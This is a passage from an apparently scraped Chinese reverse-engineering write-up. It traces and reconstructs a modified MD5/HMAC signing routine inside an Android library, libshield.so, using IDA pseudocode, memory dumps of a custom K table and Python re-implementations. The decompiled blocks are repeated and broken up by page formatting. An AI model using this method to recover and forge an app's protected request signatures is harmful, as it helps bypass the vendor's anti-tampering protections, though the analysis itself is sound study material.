result[ 46 ] + v171 + v62; HIDWORD(v26) = v65 + ((v66 ^ v64) & v62 ^ v64); LODWORD(v26) = HIDWORD(v26); v68 = (v26 >> 18 ) + v66; v69 = result[ 47 ] + v17 + v64; HIDWORD(v26) = v67 + ((v68 ^ v66) & v64 ^ v66); LODWORD(v26) = HIDWORD(v26); v70 = (v26 >> 12 ) + v68; v71 = v161 + v66; HIDWORD(v26) = v69 + ((v70 ^ v68) & v66 ^ v68); LODWORD(v26) = HIDWORD(v26); v72 = (v26 >> 27 ) + v70; v73 = v24 + v68; HIDWORD(v26) = v71 + ((v72 ^ v70) & v68 ^ v70); LODWORD(v26) = HIDWORD(v26); v74 = (v26 >> 23 ) + v72; v75 = v38 + v70; HIDWORD(v26) = v73 + ((v74 ^ v72) & v70 ^ v72); LODWORD(v26) = HIDWORD(v26); v76 = (v26 >> 18 ) + v74; v77 = result[ 51 ] + v20 + v72; HIDWORD(v26) = v75 + ((v76 ^ v74) & v72 ^ v74); LODWORD(v26) = HIDWORD(v26); v78 = (v26 >> 12 ) + v76; v79 = v150 + v74; HIDWORD(v26) = v77 + ((v78 ^ v76) & v74 ^ v76); LODWORD(v26) = HIDWORD(v26); v80 = (v26 >> 27 ) + v78; v81 = result[ 53 ] + v11 + v76; HIDWORD(v26) = v79 + ((v80 ^ v78) & v76 ^ v78); LODWORD(v26) = HIDWORD(v26); v82 = (v26 >> 23 ) + v80; v83 = v162 + v78; HIDWORD(v26) = v81 + ((v82 ^ v80) & v78 ^ v80); LODWORD(v26) = HIDWORD(v26); v84 = (v26 >> 18 ) + v82; v85 = result[ 55 ] + v29 + v80; HIDWORD(v26) = v83 + ((v84 ^ v82) & v80 ^ v82); LODWORD(v26) = HIDWORD(v26); v86 = (v26 >> 12 ) + v84; v87 = v36 + v82; HIDWORD(v26) = v85 + (v84 ^ v82 ^ v86); / / 第三轮的和H函数 return x ^ y ^ z LODWORD(v26) = HIDWORD(v26); v88 = (v26 >> 28 ) + v86; v89 = v153 + v84; HIDWORD(v26) = v87 + (v86 ^ v84 ^ v88); LODWORD(v26) = HIDWORD(v26); v90 = v165 + v86; v91 = (v26 >> 21 ) + v88; HIDWORD(v26) = v89 + (v88 ^ v86 ^ v91); LODWORD(v26) = HIDWORD(v26); v92 = (v26 >> 16 ) + v91; v93 = v160 + v88; HIDWORD(v26) = v90 + (v91 ^ v88 ^ v92); LODWORD(v26) = HIDWORD(v26); v94 = (v26 >> 9 ) + v92; v95 = result[ 62 ] + v14 + v94; v96 = result[ 60 ] + v171 + v91; HIDWORD(v26) = v93 + (v92 ^ v91 ^ v94); LODWORD(v26) = HIDWORD(v26); v97 = result[ 61 ] + v11 + v92; v98 = (v26 >> 28 ) + v94; HIDWORD(v26) = v96 + (v94 ^ v92 ^ v98); LODWORD(v26) = HIDWORD(v26); v99 = (v26 >> 21 ) + v98; v100 = result[ 63 ] + v20 + v98; HIDWORD(v26) = v97 + (v98 ^ v94 ^ v99); LODWORD(v26) = HIDWORD(v26); v101 = (v26 >> 16 ) + v99; HIDWORD(v26) = v100 + (v99 ^ v94 ^ v101); LODWORD(v26) = HIDWORD(v26); v102 = (v26 >> 28 ) + v94; HIDWORD(v26) = v95 + (v101 ^ v99 ^ v102); LODWORD(v26) = HIDWORD(v26); v103 = v154 + v101; v104 = (v26 >> 9 ) + v101; HIDWORD(v26) = v103 + (v102 ^ v99 ^ v104); LODWORD(v26) = HIDWORD(v26); - - a3; / / 计算次数 - 1 a2 + = 64 ; / / 被加密的块 处理一块 + 64 v105 = v168 + v99; v106 = (v26 >> 16 ) + v99; v107 = v151 + v104; HIDWORD(v26) = v105 + (v104 ^ v102 ^ v106); LODWORD(v26) = HIDWORD(v26); v108 = result[ 67 ] + v17 + v102; v109 = (v26 >> 21 ) + v102; HIDWORD(v26) = v107 + (v106 ^ v102 ^ v109); LODWORD(v26) = HIDWORD(v26); v110 = v166 + v109; v111 = (v26 >> 9 ) + v106; HIDWORD(v26) = v108 + (v109 ^ v106 ^ v111); LODWORD(v26) = HIDWORD(v26); v112 = result[ 69 ] + v15 + v106; v113 = (v26 >> 28 ) + v111; HIDWORD(v26) = v110 + (v111 ^ v106 ^ v113); LODWORD(v26) = HIDWORD(v26); v114 = v157 + v111; v115 = (v26 >> 21 ) + v113; HIDWORD(v26) = v112 + (v113 ^ v111 ^ v115); / / 第三轮的和H函数 return x ^ y ^ z LODWORD(v26) = HIDWORD(v26); v116 = v173 + v113; v117 = (v26 >> 16 ) + v115; HIDWORD(v26) = v114 + (v115 ^ v113 ^ v117); / / 第三轮的和H函数 return x ^ y ^ z LODWORD(v26) = HIDWORD(v26); v118 = (v26 >> 9 ) + v117; v119 = result[ 72 ] + v11 + v115; HIDWORD(v26) = v116 + ((v118 | ~v115) ^ v117); / / 第四轮的I函数 return y ^ (x | ~z) LODWORD(v26) = HIDWORD(v26); v120 = (v26 >> 26 ) + v118; v121 = v169 + v117; HIDWORD(v26) = v119 + ((v120 | ~v117) ^ v118); LODWORD(v26) = HIDWORD(v26); v122 = (v26 >> 22 ) + v120; v123 = result[ 74 ] + v29 + v118; HIDWORD(v26) = v121 + ((v122 | ~v118) ^ v120); LODWORD(v26) = HIDWORD(v26); v124 = (v26 >> 17 ) + v122; v125 = v170 + v120; HIDWORD(v26) = v123 + ((v124 | ~v120) ^ v122); LODWORD(v26) = HIDWORD(v26); v126 = (v26 >> 11 ) + v124; v127 = v158 + v122; HIDWORD(v26) = v125 + ((v126 | ~v122) ^ v124); LODWORD(v26) = HIDWORD(v26); v128 = (v26 >> 26 ) + v126; v129 = result[ 77 ] + v14 + v124; HIDWORD(v26) = v127 + ((v128 | ~v124) ^ v126); LODWORD(v26) = HIDWORD(v26); v130 = (v26 >> 22 ) + v128; v131 = v167 + v126; HIDWORD(v26) = v129 + ((v130 | ~v126) ^ v128); LODWORD(v26) = HIDWORD(v26); v132 = (v26 >> 17 ) + v130; v133 = v156 + v128; HIDWORD(v26) = v131 + ((v132 | ~v128) ^ v130); LODWORD(v26) = HIDWORD(v26); v134 = (v26 >> 11 ) + v132; v135 = result[ 80 ] + v15 + v130; HIDWORD(v26) = v133 + ((v134 | ~v130) ^ v132); LODWORD(v26) = HIDWORD(v26); v136 = (v26 >> 26 ) + v134; v137 = v172 + v132; HIDWORD(v26) = v135 + ((v136 | ~v132) ^ v134); LODWORD(v26) = HIDWORD(v26); v138 = (v26 >> 22 ) + v136; v139 = result[ 82 ] + v20 + v134; HIDWORD(v26) = v137 + ((v138 | ~v134) ^ v136); LODWORD(v26) = HIDWORD(v26); v140 = (v26 >> 17 ) + v138; v141 = result[ 83 ] + v171 + v136; HIDWORD(v26) = v139 + ((v140 | ~v136) ^ v138); LODWORD(v26) = HIDWORD(v26); v142 = (v26 >> 11 ) + v140; v143 = v164 + v138; HIDWORD(v26) = v141 + ((v142 | ~v138) ^ v140); LODWORD(v26) = HIDWORD(v26); v144 = (v26 >> 26 ) + v142; v145 = v163 + v140; HIDWORD(v26) = v143 + ((v144 | ~v140) ^ v142); LODWORD(v26) = HIDWORD(v26); v146 = (v26 >> 22 ) + v144; v147 = result[ 86 ] + v17 + v142; HIDWORD(v26) = v145 + ((v146 | ~v142) ^ v144); LODWORD(v26) = HIDWORD(v26); v148 = (v26 >> 17 ) + v146; v6 = v144 + * result; v149 = v148 + result[ 1 ]; HIDWORD(v26) = v147 + ((v148 | ~v144) ^ v146); LODWORD(v26) = HIDWORD(v26); v4 = v146 + result[ 3 ]; v3 = v148 + result[ 2 ]; v5 = v149 + (v26 >> 11 ); result[ 2 ] = v3; result[ 3 ] = v4; * result = v6; result[ 1 ] = v5; } while ( a3 ); |
}
return result;
}
1.跟踪到sub_539DC,查看函数调用发现有五处,三个函数 sub_538CC sub_545F8 sub_54600
2.查看trace发现仅有sub_538CC和sub_54600被调用
3.理解整个函数的流程,update和final是被暴露出来的函数接口,用于更新数据和计算最终值
而整体的代码实现被封装在了MD5的内部,这么理解再去还原算法可能就清晰的多
import hmac
import hashlib
class MyHMAC:
def init(self, key):
# 确保key是bytes类型
if isinstance(key, str):
key = key.encode(\'utf-8\')
self.key = key
self.hmac_obj = None
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | def update( self , data): # 确保data是bytes类型 if isinstance (data, str ): data = data.encode( \'utf-8\' ) if self .hmac_obj is None : # 第一次调用update时创建hmac对象 self .hmac_obj = hmac.new( self .key, data, digestmod = hashlib.md5) else : self .hmac_obj.update(data) def final( self ): # 返回最终的十六进制digest表示 if self .hmac_obj is not None : return self .hmac_obj.hexdigest() else : return None |
if name == \'main\':
key = \\"secret_key\\" # 密钥
my_hmac = MyHMAC(key)
my_hmac.update(\\"Hello, \\")
my_hmac.update(\\"World!\\")
print(\\"Final HMAC-MD5 digest:\\", my_hmac.final())
if name == \'main\':
my_md5 = MyMD5()
my_md5.update(\\"Hello, \\")
my_md5.update(\\"World!\\")
print(\\"Final MD5 digest:\\", my_md5.final())
4.因此通过hook算法和查看IDA发现sub_538CC就类似update的功能,其中还对key进行填充的逻辑,获得outer_key和inner_key
\\nself.outer_key = self.xor_bytes(key, b\'\\\\x5c\' * self.block_size)
self.inner_key = self.xor_bytes(key, b\'\\\\x36\' * self.block_size)
5.sub_54600的作用就是MD5算法的最终处理部分,对数据填充,处理最后一块数据块得到MD5值
\\n对sub_539DC重新跟踪,参数1是result第一行存储了4个魔数,但是根据函数具体逻辑,发现result[26],result[55]类似的
逻辑参与了运算,猜测是将256字节的k表memcpy到了魔数后面,组成了一个result
于是继续跟踪,打印trace
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:34:11 427]x0=RW@0x40469000, md5=2391e90a328d7d9e29b58b37a6e9e379, hex=76543210fedcba9889abcdef012345670002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 76 54 32 10 FE DC BA 98 89 AB CD EF 01 23 45 67 vT2..........#Eg
0010: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
trace(0x40469000,0x40469000+256) -> LR=0x547a4 IDA跳转查看
__int64 __fastcall sub_54760(_OWORD *a1, const void *a2)
{
void *v4; // x0
memset(a1 + 1, 0, 0x14CuLL);
*a1 = xmmword_C36F0;
v4 = (char *)a1 + 92;
if ( a2 )
memcpy(v4, a2, 0x100uLL);
else
memset(v4, 0, 0x100uLL);
return 1LL;
}
复制了100uLL的值到v4内存,0x100恰好就是256字节,猜测这里就是K表被复制了,继续跟踪查看内存值
对0x54760打断点
mx1 -> *a2
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:39:16 446]x1=RW@0x4010c4d4[libshield.so]0x10c4d4, md5=82cf206d8b605d4abca8a361ddc672ed, hex=56b7c9e979a41bd7db811024d9881068aff7149bb15b1fffbed71c8822616666936166f69e6319a621091449eece1dc1af0f1cf52ac61747134610a9019516fd62251ef65314740291e621d2c9fb13e2e6cd6122970dd5f2ed145a4205e977a2f9a377f2d9126f629a4c2a9240b340c0
size: 112
0000: 56 B7 C9 E9 79 A4 1B D7 DB 81 10 24 D9 88 10 68 V...y......$...h
0010: AF F7 14 9B B1 5B 1F FF BE D7 1C 88 22 61 66 66 .....[......\\"aff
0020: 93 61 66 F6 9E 63 19 A6 21 09 14 49 EE CE 1D C1 .af..c..!..I....
0030: AF 0F 1C F5 2A C6 17 47 13 46 10 A9 01 95 16 FD ......G.F......
0040: 62 25 1E F6 53 14 74 02 91 E6 21 D2 C9 FB 13 E2 b%..S.t...!.....
0050: E6 CD 61 22 97 0D D5 F2 ED 14 5A 42 05 E9 77 A2 ..a\\"......ZB..w.
0060: F9 A3 77 F2 D9 12 6F 62 9A 4C 2A 92 40 B3 40 C0 ..w...ob.L.@.@.
^-----------------------------------------------------------------------------^
x1=RW@0x4010c4d4[libshield.so]0x10c4d4代表在libshield.so可以查到内存中的值,是DCQ写死的静态值,
跳过去复制下来,就是K表的值
int *__fastcall sub_539DC(int *result, unsigned __int8 *a2, __int64 a3)
{
if ( a3 )
{
v3 = result[2]; // MD5初始化魔数 C
v4 = result[3]; // D
v6 = *result; // A
v5 = result[1]; // B
do
{
// 从数据指针a2中取数据块,通过<< 8 << 16 << 24进行数据分割重新拼成小端序 实际上无需0xFFFFFF(可能只是格式需要)
// 这段代码将 64 字节的 a2 数组 按 非连续索引分组 转换为多个 32 位整数,可能用于:
// 自定义哈希算法(如修改 MD5 的消息分组顺序)。
v7 = (unsigned __int16)(*a2 | (a2[1] << 8)) | (a2[2] << 16) & 0xFFFFFF | (a2[3] << 24);
v8 = (unsigned __int16)(a2[4] | (a2[5] << 8)) | (a2[6] << 16) & 0xFFFFFF | (a2[7] << 24);
v9 = a2[12] | (unsigned __int16)(a2[13] << 8) | (a2[14] << 16) & 0xFFFFFF | (a2[15] << 24);
v10 = a2[8] | (unsigned __int16)(a2[9] << 8) | (a2[10] << 16) & 0xFFFFFF | (a2[11] << 24);
v171 = (unsigned __int16)(a2[16] | (a2[17] << 8)) | (a2[18] << 16) & 0xFFFFFF | (a2[19] << 24);
v11 = a2[28] | (unsigned __int16)(a2[29] << 8) | (a2[30] << 16) & 0xFFFFFF | (a2[31] << 24);
v12 = a2[24] | (unsigned __int16)(a2[25] << 8) | (a2[26] << 16) & 0xFFFFFF | (a2[27] << 24);
v13 = a2[56] | (unsigned __int16)(a2[57] << 8) | (a2[58] << 16) & 0xFFFFFF | (a2[59] << 24);
v14 = a2[40] | (unsigned __int16)(a2[41] << 8) | (a2[42] << 16) & 0xFFFFFF | (a2[43] << 24);
v15 = a2[60] | (unsigned __int16)(a2[61] << 8) | (a2[62] << 16) & 0xFFFFFF | (a2[63] << 24);
v16 = a2[32] | (unsigned __int16)(a2[33] << 8) | (a2[34] << 16) & 0xFFFFFF | (a2[35] << 24);
v17 = a2[36] | (unsigned __int16)(a2[37] << 8) | (a2[38] << 16) & 0xFFFFFF | (a2[39] << 24);
v18 = a2[44] | (unsigned __int16)(a2[45] << 8) | (a2[46] << 16) & 0xFFFFFF | (a2[47] << 24);
v19 = a2[48] | (unsigned __int16)(a2[49] << 8) | (a2[50] << 16) & 0xFFFFFF | (a2[51] << 24);
v20 = a2[52] | (unsigned __int16)(a2[53] << 8) | (a2[54] << 16) & 0xFFFFFF | (a2[55] << 24);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 | v21 = result[ 40 ] + v12; / / 将IDA中的代码重新排序 查看规律 v22 = result[ 34 ] + v18; v23 = result[ 41 ] + v18; v24 = result[ 49 ] + v9; v168 = result[ 64 ] + v7; v159 = (result[ 42 ] & 0xFF0011FF ) + v7; v173 = result[ 71 ] + v7; v161 = result[ 48 ] + v13; v165 = result[ 58 ] + v13; v155 = result[ 37 ] + v13; v169 = result[ 73 ] + v13; v152 = result[ 35 ] + v19; v162 = result[ 54 ] + v19; v166 = result[ 68 ] + v19; v170 = result[ 75 ] + v19; v160 = result[ 59 ] + v8; v167 = result[ 78 ] + v8; v153 = result[ 57 ] + v18; v164 = result[ 84 ] + v18; v150 = (result[ 52 ] & 0xFF110011 ) + v10; v157 = result[ 70 ] + v10; v163 = result[ 85 ] + v10; v154 = result[ 65 ] + v9; v158 = result[ 76 ] + v9; v25 = v9 + v5 + result[ 26 ]; / / 使用右移替代左移,位移量不匹配标准的 HIDWORD(v26) = ((v3 ^ v4) & v5 ^ v4) + v6 + v7 + result[ 23 ]; / / result[ 23 ] - result[ 86 ] 刚好 64 轮计算,用完了k表所有值 LODWORD(v26) = HIDWORD(v26); / / 魔改: 将 v26 的高 32 位的值 覆盖到 v26 的低 32 位。 v26 = 0xAABBCCDD11223344 = = = > v26 = 0xAABBCCDDAABBCCDD v27 = (v26 >> 26 ) + v5; / / 循环右移(等效左移 6 位,因 32 - 26 = 6 ) / / 步计算展开 / / 每步计算形式: / / HIDWORD(v26) = 数据 + 链变量 + K表项 + 消息字; / / LODWORD(v26) = HIDWORD(v26); / / vX = (v26 >> S) + 链变量; / / 循环右移S位 / / 标准MD5对比: / / 标准: a = rol(a + F + K[i] + M[g], s) / / 此处: temp = (F + a + K[i] + M[g]) >>> S; a = b + temp / / 差异: 使用右移且未循环,可能通过LODWORD覆盖模拟循环 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 位运算是等价的,通过布尔运算可以计算出来,除了第三轮运算会有一些问题之外 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * HIDWORD(v26) = v8 + v4 + result[ 24 ] + (v27 & (v5 ^ v3) ^ v3); / / 以下函数运算为(a & (b ^ c) ^ d) LODWORD(v26) = HIDWORD(v26); v28 = (v26 >> 19 ) + v27; v29 = a2[ 20 ] | (unsigned __int16)(a2[ 21 ] << 8 ) | (a2[ 22 ] << 16 ) & 0xFFFFFF | (a2[ 23 ] << 24 ); HIDWORD(v26) = v10 + v3 + result[ 25 ] + (v28 & (v27 ^ v5) ^ v5); LODWORD(v26) = HIDWORD(v26); v30 = v29 + v28 + result[ 28 ]; v31 = (v26 >> 15 ) + v28; v151 = result[ 66 ] + v12; v172 = result[ 81 ] + v12; HIDWORD(v26) = v25 + (v31 & (v28 ^ v27) ^ v27); LODWORD(v26) = HIDWORD(v26); v32 = (v26 >> 11 ) + v31; HIDWORD(v26) = v171 + v27 + result[ 27 ] + (v32 & (v31 ^ v28) ^ v28); LODWORD(v26) = HIDWORD(v26); v33 = (v26 >> 25 ) + v32; HIDWORD(v26) = v30 + (v33 & (v32 ^ v31) ^ v31); LODWORD(v26) = HIDWORD(v26); v34 = (v26 >> 20 ) + v33; HIDWORD(v26) = v12 + v31 + result[ 29 ] + (v34 & (v33 ^ v32) ^ v32); LODWORD(v26) = HIDWORD(v26); v35 = (v26 >> 15 ) + v34; v156 = result[ 79 ] + v16; v36 = result[ 56 ] + v16; v37 = v16 + v33 + result[ 31 ]; v38 = result[ 50 ] + v16; HIDWORD(v26) = v11 + v32 + result[ 30 ] + (v35 & (v34 ^ v33) ^ v33); LODWORD(v26) = HIDWORD(v26); v39 = (v26 >> 12 ) + v35; HIDWORD(v26) = v37 + (v39 & (v35 ^ v34) ^ v34); LODWORD(v26) = HIDWORD(v26); v40 = (v26 >> 25 ) + v39; HIDWORD(v26) = v17 + v34 + result[ 32 ] + (v40 & (v39 ^ v35) ^ v35); LODWORD(v26) = HIDWORD(v26); v41 = (v26 >> 20 ) + v40; v42 = v35 + v14 + result[ 33 ]; v43 = v22 + v39; HIDWORD(v26) = v42 + (v41 & (v40 ^ v39) ^ v39); LODWORD(v26) = HIDWORD(v26); v44 = (v26 >> 16 ) + v41; v45 = v152 + v40; HIDWORD(v26) = v43 + (v44 & (v41 ^ v40) ^ v40); LODWORD(v26) = HIDWORD(v26); v46 = (v26 >> 10 ) + v44; v47 = result[ 36 ] + v20 + v41; HIDWORD(v26) = v45 + (v46 & (v44 ^ v41) ^ v41); LODWORD(v26) = HIDWORD(v26); v48 = (v26 >> 25 ) + v46; v49 = v155 + v44; HIDWORD(v26) = v47 + (v48 & (v46 ^ v44) ^ v44); LODWORD(v26) = HIDWORD(v26); v50 = (v26 >> 19 ) + v48; v51 = v15 + result[ 38 ] + v46; HIDWORD(v26) = v49 + (v50 & (v48 ^ v46) ^ v46); LODWORD(v26) = HIDWORD(v26); v52 = (v26 >> 15 ) + v50; v53 = (result[ 39 ] & 0xFF00FF00 ) + v8 + v48; HIDWORD(v26) = v51 + (v52 & (v50 ^ v48) ^ v48); LODWORD(v26) = HIDWORD(v26); v54 = (v26 >> 10 ) + v52; v55 = v21 + v50; HIDWORD(v26) = v53 + ((v54 ^ v52) & v50 ^ v52); / / 首先要学习布尔运算 ((x ^ y) & z) ^ y = = >等价转换为 (x & z) | (y & ~z) LODWORD(v26) = HIDWORD(v26); v56 = (v26 >> 27 ) + v54; v57 = v23 + v52; HIDWORD(v26) = v55 + ((v56 ^ v54) & v52 ^ v54); LODWORD(v26) = HIDWORD(v26); v58 = (v26 >> 23 ) + v56; v59 = v159 + v54; HIDWORD(v26) = v57 + ((v58 ^ v56) & v54 ^ v56); LODWORD(v26) = HIDWORD(v26); v60 = (v26 >> 18 ) + v58; v61 = result[ 43 ] + v29 + v56; HIDWORD(v26) = v59 + ((v60 ^ v58) & v56 ^ v58); LODWORD(v26) = HIDWORD(v26); v62 = (v26 >> 12 ) + v60; v63 = result[ 44 ] + v14 + v58; HIDWORD(v26) = v61 + ((v62 ^ v60) & v58 ^ v60); LODWORD(v26) = HIDWORD(v26); v64 = (v26 >> 27 ) + v62; v65 = result[ 45 ] + v15 + v60; HIDWORD(v26) = v63 + ((v64 ^ v62) & v60 ^ v62); LODWORD(v26) = HIDWORD(v26); v66 = (v26 >> 23 ) + v64; v67 = result[ 46 ] + v171 + v62; HIDWORD(v26) = v65 + ((v66 ^ v64) & v62 ^ v64); LODWORD(v26) = HIDWORD(v26); v68 = (v26 >> 18 ) + v66; v69 = result[ 47 ] + v17 + v64; HIDWORD(v26) = v67 + ((v68 ^ v66) & v64 ^ v66); LODWORD(v26) = HIDWORD(v26); v70 = (v26 >> 12 ) + v68; v71 = v161 + v66; HIDWORD(v26) = v69 + ((v70 ^ v68) & v66 ^ v68); LODWORD(v26) = HIDWORD(v26); v72 = (v26 >> 27 ) + v70; v73 = v24 + v68; HIDWORD(v26) = v71 + ((v72 ^ v70) & v68 ^ v70); LODWORD(v26) = HIDWORD(v26); v74 = (v26 >> 23 ) + v72; v75 = v38 + v70; HIDWORD(v26) = v73 + ((v74 ^ v72) & v70 ^ v72); LODWORD(v26) = HIDWORD(v26); v76 = (v26 >> 18 ) + v74; v77 = result[ 51 ] + v20 + v72; HIDWORD(v26) = v75 + ((v76 ^ v74) & v72 ^ v74); LODWORD(v26) = HIDWORD(v26); v78 = (v26 >> 12 ) + v76; v79 = v150 + v74; HIDWORD(v26) = v77 + ((v78 ^ v76) & v74 ^ v76); LODWORD(v26) = HIDWORD(v26); v80 = (v26 >> 27 ) + v78; v81 = result[ 53 ] + v11 + v76; HIDWORD(v26) = v79 + ((v80 ^ v78) & v76 ^ v78); LODWORD(v26) = HIDWORD(v26); v82 = (v26 >> 23 ) + v80; v83 = v162 + v78; HIDWORD(v26) = v81 + ((v82 ^ v80) & v78 ^ v80); LODWORD(v26) = HIDWORD(v26); v84 = (v26 >> 18 ) + v82; v85 = result[ 55 ] + v29 + v80; HIDWORD(v26) = v83 + ((v84 ^ v82) & v80 ^ v82); LODWORD(v26) = HIDWORD(v26); v86 = (v26 >> 12 ) + v84; v87 = v36 + v82; HIDWORD(v26) = v85 + (v84 ^ v82 ^ v86); / / 第三轮 符合H函数 LODWORD(v26) = HIDWORD(v26); v88 = (v26 >> 28 ) + v86; v89 = v153 + v84; HIDWORD(v26) = v87 + (v86 ^ v84 ^ v88); LODWORD(v26) = HIDWORD(v26); v90 = v165 + v86; v91 = (v26 >> 21 ) + v88; HIDWORD(v26) = v89 + (v88 ^ v86 ^ v91); LODWORD(v26) = HIDWORD(v26); v92 = (v26 >> 16 ) + v91; v93 = v160 + v88; HIDWORD(v26) = v90 + (v91 ^ v88 ^ v92); LODWORD(v26) = HIDWORD(v26); v94 = (v26 >> 9 ) + v92; v95 = result[ 62 ] + v14 + v94; v96 = result[ 60 ] + v171 + v91; HIDWORD(v26) = v93 + (v92 ^ v91 ^ v94); LODWORD(v26) = HIDWORD(v26); v97 = result[ 61 ] + v11 + v92; v98 = (v26 >> 28 ) + v94; HIDWORD(v26) = v96 + (v94 ^ v92 ^ v98); LODWORD(v26) = HIDWORD(v26); v99 = (v26 >> 21 ) + v98; v100 = result[ 63 ] + v20 + v98; HIDWORD(v26) = v97 + (v98 ^ v94 ^ v99); LODWORD(v26) = HIDWORD(v26); v101 = (v26 >> 16 ) + v99; HIDWORD(v26) = v100 + (v99 ^ v94 ^ v101); LODWORD(v26) = HIDWORD(v26); v102 = (v26 >> 28 ) + v94; HIDWORD(v26) = v95 + (v101 ^ v99 ^ v102); LODWORD(v26) = HIDWORD(v26); v103 = v154 + v101; v104 = (v26 >> 9 ) + v101; HIDWORD(v26) = v103 + (v102 ^ v99 ^ v104); LODWORD(v26) = HIDWORD(v26); - - a3; a2 + = 64 ; v105 = v168 + v99; v106 = (v26 >> 16 ) + v99; v107 = v151 + v104; HIDWORD(v26) = v105 + (v104 ^ v102 ^ v106); LODWORD(v26) = HIDWORD(v26); v108 = result[ 67 ] + v17 + v102; v109 = (v26 >> 21 ) + v102; HIDWORD(v26) = v107 + (v106 ^ v102 ^ v109); LODWORD(v26) = HIDWORD(v26); v110 = v166 + v109; v111 = (v26 >> 9 ) + v106; HIDWORD(v26) = v108 + (v109 ^ v106 ^ v111); LODWORD(v26) = HIDWORD(v26); v112 = result[ 69 ] + v15 + v106; v113 = (v26 >> 28 ) + v111; HIDWORD(v26) = v110 + (v111 ^ v106 ^ v113); LODWORD(v26) = HIDWORD(v26); v114 = v157 + v111; v115 = (v26 >> 21 ) + v113; HIDWORD(v26) = v112 + (v113 ^ v111 ^ v115); LODWORD(v26) = HIDWORD(v26); v116 = v173 + v113; v117 = (v26 >> 16 ) + v115; HIDWORD(v26) = v114 + (v115 ^ v113 ^ v117); LODWORD(v26) = HIDWORD(v26); v118 = (v26 >> 9 ) + v117; v119 = result[ 72 ] + v11 + v115; HIDWORD(v26) = v116 + ((v118 | ~v115) ^ v117); / / 第四轮 符合I函数 LODWORD(v26) = HIDWORD(v26); v120 = (v26 >> 26 ) + v118; v121 = v169 + v117; HIDWORD(v26) = v119 + ((v120 | ~v117) ^ v118); LODWORD(v26) = HIDWORD(v26); v122 = (v26 >> 22 ) + v120; v123 = result[ 74 ] + v29 + v118; HIDWORD(v26) = v121 + ((v122 | ~v118) ^ v120); LODWORD(v26) = HIDWORD(v26); v124 = (v26 >> 17 ) + v122; v125 = v170 + v120; HIDWORD(v26) = v123 + ((v124 | ~v120) ^ v122); LODWORD(v26) = HIDWORD(v26); v126 = (v26 >> 11 ) + v124; v127 = v158 + v122; HIDWORD(v26) = v125 + ((v126 | ~v122) ^ v124); LODWORD(v26) = HIDWORD(v26); v128 = (v26 >> 26 ) + v126; v129 = result[ 77 ] + v14 + v124; HIDWORD(v26) = v127 + ((v128 | ~v124) ^ v126); LODWORD(v26) = HIDWORD(v26); v130 = (v26 >> 22 ) + v128; v131 = v167 + v126; HIDWORD(v26) = v129 + ((v130 | ~v126) ^ v128); LODWORD(v26) = HIDWORD(v26); v132 = (v26 >> 17 ) + v130; v133 = v156 + v128; HIDWORD(v26) = v131 + ((v132 | ~v128) ^ v130); LODWORD(v26) = HIDWORD(v26); v134 = (v26 >> 11 ) + v132; v135 = result[ 80 ] + v15 + v130; HIDWORD(v26) = v133 + ((v134 | ~v130) ^ v132); LODWORD(v26) = HIDWORD(v26); v136 = (v26 >> 26 ) + v134; v137 = v172 + v132; HIDWORD(v26) = v135 + ((v136 | ~v132) ^ v134); LODWORD(v26) = HIDWORD(v26); v138 = (v26 >> 22 ) + v136; v139 = result[ 82 ] + v20 + v134; HIDWORD(v26) = v137 + ((v138 | ~v134) ^ v136); LODWORD(v26) = HIDWORD(v26); v140 = (v26 >> 17 ) + v138; v141 = result[ 83 ] + v171 + v136; HIDWORD(v26) = v139 + ((v140 | ~v136) ^ v138); LODWORD(v26) = HIDWORD(v26); v142 = (v26 >> 11 ) + v140; v143 = v164 + v138; HIDWORD(v26) = v141 + ((v142 | ~v138) ^ v140); LODWORD(v26) = HIDWORD(v26); v144 = (v26 >> 26 ) + v142; v145 = v163 + v140; HIDWORD(v26) = v143 + ((v144 | ~v140) ^ v142); LODWORD(v26) = HIDWORD(v26); v146 = (v26 >> 22 ) + v144; v147 = result[ 86 ] + v17 + v142; HIDWORD(v26) = v145 + ((v146 | ~v142) 